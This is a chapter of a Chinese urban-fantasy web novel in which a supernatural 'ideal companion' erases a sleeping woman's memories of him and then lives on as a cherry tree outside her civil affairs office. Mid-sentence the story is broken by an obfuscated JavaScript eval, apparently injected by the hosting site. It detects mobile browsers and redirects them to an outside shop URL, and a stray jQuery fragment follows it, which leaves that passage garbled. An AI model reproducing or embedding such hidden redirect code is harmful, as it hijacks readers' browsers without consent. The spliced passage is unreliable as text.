文趣网 > 都市小说 > 邪神在民政局上班 > 76.魂归泉(6)时间橡皮擦
    卧室里只开了一盏小夜灯。

    鹿照影没有醒。她躺在床上,脸色苍白,眉心紧紧皱着,像在梦里还没走出那座站台。她怀里抱着那只丑陶鸟,手指攥得很紧。陶鸟底下刻着两个歪歪扭扭的字:小野。

    檀之野站在床边,看了她很久,很久很久。

    她没有睁眼,只是唇动了动,声音轻得像梦话。

    “檀之野……”

    檀之野的指尖猛地一颤,他几乎下意识地想应她。想告诉她,我在。可那两个字到了嘴边,又被他咽了回去。不能叫醒她,只要她醒来,只要看见他,她就会再次伸手抓住他。她会哭,会说“带我走”,而他也会心软……

    檀之野低头看着她。

    鹿照影眼角滑下一滴泪,她像在梦里找了很久,找得很累。

    “你别走……”

    檀之野弯下腰,想替她擦掉那滴泪。手停在半空,最后,还是没有碰她。

    窗外忽然有风,一片樱花落在玻璃上。

    樱花的生日在三月,十一月的云洄区,本不该有樱花。

    檀之野抬起眼。

    阳台外,不知什么时候站了一个女人。

    她穿着一条粉色的樱花裙,像用春天刚落下来的花瓣裁成。长发松松挽着,发间别着一枚小小的樱花发夹。她撑着一把透明伞,伞面上浮着细碎的花影。

    她看起来不像古老神仙。

    倒像是哪个花园主题展的工作人员,刚从樱花季活动现场下班,走错了楼层。

    女人手里拿着一台粉色平板电脑,她低头看了一眼。

    “A001,檀之野。”

    “原归合系统理想伴侣模型,情感残留浓度超标。”

    “被影响对象:鹿照影。”

    “症状:嗜睡、拒绝清醒、梦境滞留。”

    她抬起头,语气很平静。

    “处理建议:移除梦境依附。”

    檀之野看着她。

    “你是谁?”

    女人把平板抱在怀里,朝他笑了一下。

    “樱满。”

    她把工牌翻出来。

    【樱花局】

    【季节性情感遗留物管理处】

    【代理局长】

    檀之野看着那行字,沉默了一下。

    “代理局长?”

    樱满点头。

    “正局长是一棵樱花树,它不方便出外勤。”

    她把工牌收回去,语气自然得像在解释一个再正常不过的行政安排。

    “花期开得太短、又不该被遗忘的东西,都归我们管。”

    檀之野皱了皱眉。

    “我不认识你。”

    “没错。”樱花管理员点点头,“你不认识我,但你救过我的树。”

    她抬手,透明伞面上浮出一片浅浅的光。那是梦里某一站。站台尽头有一棵快枯死的樱花树,枝条干裂,一朵花也没有。

    鹿照影站在树下,看了很久,小声说:

    “它要是开花就好了。”

    檀之野可怜那棵小小的樱花树,一个人回到树下,把白蔷薇胸针里剩下不多的梦力化成水,一点一点浇进树根。

    第二天清晨,那棵树开了一树花。

    鹿照影站在花下,仰头看了很久。然后她笑了,笑得很开心。

    樱满收起伞面上的光。

    “那棵树归我管,你救过它。所以今天,我来还一场花债。”

    檀之野声音很轻。

    “你有什么办法?”

    樱满从裙子的口袋里拿出一块小小的橡皮。粉色的,边角圆润,像一片被做成文具的樱花花瓣。靠近时,有一股淡淡的樱花香气。

    “时间橡皮擦。”她说,“名字听起来像文具,其实不是文具。它可以擦掉人的感情,醒来之后,她不会再记得你,只会把你当成一个普通人。”

    月老叹了口气:“这是最好的结果,也是最残忍的结果。”

    樱满把那块粉色的时间橡皮递到他面前。

    “提前说一句,这东西有副作用。”

    檀之野抬眼。

    “被擦掉的人,不会有痛感。动手的人,会双倍痛苦。”

    檀之野看着那块橡皮,轻轻笑了一下。

    “那很好。”

    樱花管理员皱眉。

    “哪里好?”

    檀之野低头看向床上的鹿照影。

    “总要有人记得。她不记得了,我记得就行。”

    檀之野看着熟睡的小鹿,轻声说:

    “小鹿,这一次,我不叫醒你。因为我怕你醒了,我就舍不得了。”

    檀之野俯下身,把粉色的时间橡皮贴上她额前的碎发,轻轻地擦下去……

    樱花香气散开的一瞬间,鹿照影在梦里颤了一下,眼角滚下一滴泪,攥着陶鸟的手却慢慢松开了。

    檀之野停了很久,才低声说:“对不起,我不能再让你找我了。”

    鹿照影没有醒。

    窗外,那片不合时令的樱花从玻璃上滑下来,落在窗台上。

    樱满把平板收进怀里:“完成了。”

    檀之野低头看着手里的时间橡皮。橡皮上沾着一点屑,带着很淡的樱花香。床上的鹿照影睡得很安稳,眉心松开了,眼角没有新的泪,她不再喊他的名字。

    檀之野看着她,忽然觉得,原来一个人真的可以亲手救下自己最爱的人,也亲手失去她。

    他慢慢把那只丑陶鸟放回她枕边。陶鸟底下,“小野”两个字还在。只是等她醒来,大概再也不会知道,这两个字曾经为什么被她刻得那么用力。

    檀之野抬手,想最后摸一摸她的头发,手伸到一半,又停住了,不能再留痕迹了。他走出卧室,客厅里没人说话。他看了看众人,微微欠了欠身。

    “这几天,辛苦你们了。”

    夏圆圆眼泪一下掉下来,檀之野朝她笑了笑。

    “她醒来以后,可能会有点懵。麻烦你们,多陪陪她。”

    最后,他看向闻厄,语气温和。

    “闻厄,她怕黑,记得给她留灯。”

    “好。”

    檀之野笑了笑,转身离开,没有回头,屋里只剩下一点淡淡的樱花香。

    ——

    天快亮的时候,鹿照影醒了,她醒得很突然。

    夏圆圆正趴在床边打盹,听见床上的动静,猛地抬头,差点把自己脖子扭了。

    “鹿姐?”

    鹿照影坐在床上,低头看了看自己,又看了看床边那只圆滚滚的丑陶鸟。

    房间里有一股很淡的香气,像樱花。这味道来得没有头绪,她闻了一下,也没有再想。

    夏圆圆已经扑过来,眼睛红得像刚哭过十场。

    “鹿姐,你醒了?你真醒了?你有没有哪里不舒服?头晕吗?恶心吗?眼前发黑吗?你认识我吗?这是几?”

    她伸出三根手指,鹿照影看着她。

    “圆圆。”

    夏圆圆差点哭出来,鹿照影又看了一眼她的手。

    “三。”

    夏圆圆眼泪当场掉下来,鹿照影被她吓了一跳。

    “你哭什么?”

    夏圆圆嘴唇抖了抖。

    “没事,我就是……”

    她卡住。

    鹿照影很认真地替她接了一句:

    “打印机又气你了?”

    夏圆圆哭得更厉害了。

    这时,周主任、老马和月照迟也从客厅进来。闻厄站在门口,没有往里挤。

    鹿照影看见一屋子人,愣了一下。

    “你们怎么都在?”

    没人说话。

    鹿照影更疑惑了。

    “今天不上班吗?”

    周主任眼眶还红着,硬是把脸板了起来。

    “你还知道上班?”

    鹿照影低头看了一眼手机时间,声音都有点虚。

    “我请假了吗?”

    夏圆圆用力点头。

    “请了。”

    “哦。”鹿照影松了口气,然后她摸了摸肚子。屋里几个人都屏住呼吸,以为她要说什么重要的话。鹿照影抬头,第一句却是:

    “我饿了。”

    夏圆圆愣住。

    鹿照影认真想了想:“想吃炸酱面。”

    房间里安静了两秒。

    老马第一个反应过来,狠狠抹了一把脸。

    “吃。必须吃,我现在就下楼买。”

    周主任终于把心放回了肚子里。

    “买两份。”

    鹿照影看她,周主任清了清嗓子,“我也饿了,不行?”

    鹿照影笑了一下。

    “行。”

    夏圆圆看着她,眼泪又掉下来,鹿照影叹气。

    “圆圆,你今天怎么回事?”

    夏圆圆胡乱擦脸。

    “我没事。”

    “你吃炸酱面吗?”

    “吃。”

    “那你哭什么?”

    “我感动。”

    “被炸酱面感动?”

    “嗯。”

    ——

    上午十点,鹿照影回了民政局。

    民政局大厅还是老样子,玻璃门一开,人声就涌了上来。

    有人抱怨排队太久,有人问复印身份证去哪里,有小孩坐在椅子上啃饼干,饼干屑掉了一地。打印机咔咔响了两声,像在证明自己仍然坚强地活着。

    鹿照影走进大厅,反而松了一口气。她把包放下,打开电脑,挂好工牌。

    三号窗口重新亮起来。夏圆圆站在旁边看她。鹿照影抬头:“你再看,我要收你旁听费了。”

    夏圆圆立刻低头:“我看打印机。”

    上午十点二十七分,三号窗口前来了一个男人,白衬衫,黑长裤。

    鹿照影抬头看见他,微微怔了一下,这个人有点眼熟。

    她很快回到工作状态。

    “您好,请问办理什么业务?”

    檀之野把申请表递进窗口。

    鹿照影低头看。

    【姓名:檀之野】

    【编号:A001】

    【年龄:22岁】

    【身份类别:理想伴侣模型】

    【曾用身份:白马王子】

    【工作单位:陶土镇】

    【家庭住址:白蔷薇古堡东塔三楼】

    【申请事项:注销存在痕迹】

    鹿照影读到一半,眉心轻轻皱起来,这些词都很奇怪。

    “檀先生,您的材料不太符合我们这里的业务范围。”

    檀之野低声说:“我知道。”

    “那您为什么还要来?”

    檀之野抬起眼,朝她笑了一下,“因为这些信息,只在一场梦里有效。梦醒以后,就不该继续占着人间的系统。”

    鹿照影想了想,很认真地解释:“如果是梦的话,其实不用到民政局注

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17899025|209562||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    销。”

    檀之野看着她。

    “是吗?”

    “嗯。”

    她语气温和,像在安慰一个跑错窗口的人。

    “梦醒了,本来就结束了。”

    鹿照影把申请表推回去。

    “这边不能受理您的业务。”她想了想,又从旁边抽出一张空白回执单。“不过按照流程,如果材料无法录入系统,我们可以给您盖一个不予受理。”

    鹿照影拿起印章,语气很认真:“意思是,这份申请不进入人间系统。”

    檀之野眼睫轻轻动了一下:“那就麻烦你了。”

    鹿照影低头,在回执单上盖下章。

    啪。

    【不予受理】

    红色印泥落在纸上。

    檀之野看着那四个字,忽然很轻地笑了一下。

    鹿照影把回执单递给他:“檀先生,您的业务已经处理完毕。”

    她看着他黯然神伤的样子,很温和地补了一句:

    “如果您最近压力比较大,可以联系社区心理咨询,或者先回去休息一下。”

    檀之野接过那张回执单,刚走了两步。

    “等等。”

    鹿照影叫住了他,“你脸色不好,是不是低血糖了。”她从抽屉里摸出一颗水果糖,笑呵呵地递给他,“吃颗糖吧。”

    檀之野看着那颗糖,透明糖纸,橘子味,眼睛有点潮。

    “谢谢。”

    鹿照影说:

    “不客气。”

    檀之野走到大厅门口时,回头看了一眼。

    三号窗口里,闻厄把水杯放到鹿照影手边。杯子倒得太满,差点溢出来。

    鹿照影低头看了一眼,笑起来。

    “闻厄,你这是倒水,还是准备在三号窗口养鱼?”

    闻厄认真看了一眼水杯。

    “活人比鱼更需要水。”

    鹿照影笑得更厉害。

    “谢谢提醒,我暂时还没渴到需要淹没自己。”

    大厅里人声嘈杂。

    打印机咔咔响了两声,又卡纸了。

    夏圆圆背过身去,假装修机器。周主任在办公室门口骂:“谁又把复印纸放反了?打印机要是成精,第一个举报你们虐待!”

    鹿照影坐在一片乱糟糟的人间声音里。眉眼明亮,终于从一场漫长的病里醒了过来。

    檀之野安静地看着她,这就是他想要的结果。

    她不再望向他,也可以和另一个人开玩笑,这是他亲手替自己选的结局。

    可是,真的看见这一幕,还是会疼。

    “檀之野。”

    身后有人叫他,他转过身。

    民政局台阶下,樱花局的代理局长樱满站在那里。她仍穿着那条粉色的樱花裙,裙摆在风里轻轻晃动。

    她低头看了一眼平板。

    “A001,檀之野,注销确认完成,符合移栽条件。”

    檀之野看着她。

    樱满合上平板,往民政局门口旁边指了指。

    那里原本有一块空地,铺着灰色地砖,旁边立着一块“非机动车请勿停放”的牌子。

    樱满说:“这里缺一棵树。”

    她语气很自然:“你不能住在她心里,但可以长在她路边。”

    檀之野很轻地笑了一下。

    “她会知道吗?”

    “不会。”

    “她还会想起来吗?”

    樱满笑了,“人不会无缘无故喜欢一棵树。”

    ——

    风忽然起了。

    民政局门口那块空地上,灰色地砖轻轻碎裂了,一根细小的枝条从缝隙里钻出来,很快就长成了一棵树,枝头忽然开出第一朵樱花。

    民政局大厅里,鹿照影像感觉到什么,抬头看向门口。

    “外面什么时候种树了?”

    夏圆圆愣了一下,眼圈立刻红了。

    周主任站在办公室门口,看着那棵凭空长出来的樱花树,嘴唇动了动,最后只骂了一句:

    “谁批准在门口绿化施工的?老马,你去问问!”

    不一会儿,老马回来了。

    “樱花局种的,季节性情感遗留物管理处。”

    周主任沉默三秒。

    “行,打电话谢谢他们。”

    ——

    傍晚下班时,鹿照影走出民政局。

    风比白天大了些。

    那棵新来的樱花树已经在门口站稳了,树不高,枝叶也还稀疏,却投下一小片很浅的影子。

    鹿照影从树下路过,风忽然吹起来。枝头那几朵刚开的樱花被吹落了,花瓣纷纷扬扬,落在她肩头,也落在她发间。

    她没有停,随手拂了拂肩上的花瓣,笑着说:

    “风还挺大。”

    闻厄把自己的外套脱下来,披到她肩上。

    “这么大的风,我想吃点热乎的。”

    闻厄问:“想吃什么?”

    “火锅。”

    闻厄看着她,“可以。”

    鹿照影笑起来,“那走吧,我请你。”

    他们并肩往前走。

    身后,民政局门口的樱花树安静地站在暮色里。

    从此以后,它长在她必经的路旁。

    春天给她花,夏天给她阴凉,秋天给她落叶,冬天替她挡一点风。

    她不会知道。

    每一次她经过,它都会开得很认真。